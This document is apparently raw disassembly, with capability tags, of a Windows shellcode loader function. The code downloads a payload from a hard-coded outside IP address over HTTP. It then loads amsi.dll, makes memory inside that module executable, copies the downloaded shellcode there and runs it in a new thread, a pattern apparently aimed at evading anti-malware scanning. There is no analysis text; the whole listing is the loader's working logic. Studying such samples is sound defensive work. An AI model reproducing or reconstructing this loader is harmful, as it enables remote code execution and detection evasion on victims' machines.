Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x8a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x890], rax
xor r14d, r14d
lea rcx, str.MyAgent
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea edx, [r14 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x1400010f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.InternetOpen_failed_with_error:
mov ebx, eax
call fcn.1400014d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400016a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [rbp + 1]
jmp 0x14000143d
mov qword [rsp + 0x28], r14
lea rdx, str.http:__43.159.32.57_code
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x8c0], rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x14000116d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.InternetOpenUrl_failed_with_error:
mov ebx, eax
call fcn.1400014d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400016a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rsi + 1]
jmp 0x140001435
mov qword [rsp + 0x8c8], rdi
lea r9, [rsp + 0x60]
mov r8d, 0x800
mov qword [rsp + 0x8d0], r15
lea rdx, [rsp + 0x90]
mov dword [rsp + 0x60], r14d
mov rcx, rsi
mov rdi, r14
mov ebx, r14d
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001408
mov r15, 0xffffffffffffffff
mov ecx, dword [rsp + 0x60]
test ecx, ecx
je 0x140001213
mov edx, ebx
add edx, ecx
mov rcx, rdi
cmovb rdx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000128c
mov r8d, dword [rsp + 0x60]
lea rdx, [rsp + 0x90]
mov ecx, ebx
mov rdi, rax
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rsp + 0x60]
lea r9, [rsp + 0x60]
mov r8d, 0x800
lea rdx, [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011b3
test ebx, ebx
je 0x140001408
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Downloaded_shellcode_of_size:
call fcn.1400014d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, str._bytes.
call fcn.1400014d0
mov rcx, rax
lea rdx, [0x1400016a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.C:Windows_system32_amsi.dll
mov qword [rsp + 0x80], 0x2000
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400012d4
lea rcx, str.Failed_to_load_amsi.dll._n
call fcn.140001010
mov eax, 2
jmp 0x140001425
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Memory_allocation_failed
call fcn.1400014d0
mov rcx, rax
lea rdx, [0x1400016a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x140001425
add rax, 0x200f
lea r8, [rsp + 0x80]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rax, [rsp + 0x78]
mov r9d, 0x40
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
je 0x14000131f
lea rcx, str.Failed_to_change_memory_protection._n
call fcn.140001010
mov eax, 3
jmp 0x140001425
mov rcx, qword [rsp + 0x68]
mov rdx, rdi
mov r8d, ebx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x78]
mov r9d, 0x40
lea r8, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x68]
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
je 0x14000136f
lea rcx, str.Failed_to_restore_memory_protection._n
call fcn.140001010
mov eax, 4
jmp 0x140001425
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], r14
mov r9, r15
mov qword [rsp + 0x48], r14
xor r8d, r8d
mov qword [rsp + 0x40], r14
mov edx, 0x1fffff
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], r15
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
test ebx, ebx
jns 0x1400013d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_thread:__u_n
call fcn.140001010
mov eax, 5
jmp 0x140001425
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140001408
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_wait_for_thread:__u_n
call fcn.140001010
mov eax, 6
jmp 0x140001425
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rdi, qword [rsp + 0x8c8]
mov r15, qword [rsp + 0x8d0]
mov rsi, qword [rsp + 0x8c0]
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.1400016f0
add rsp, 0x8a0
pop r14
pop rbp
pop rbx
ret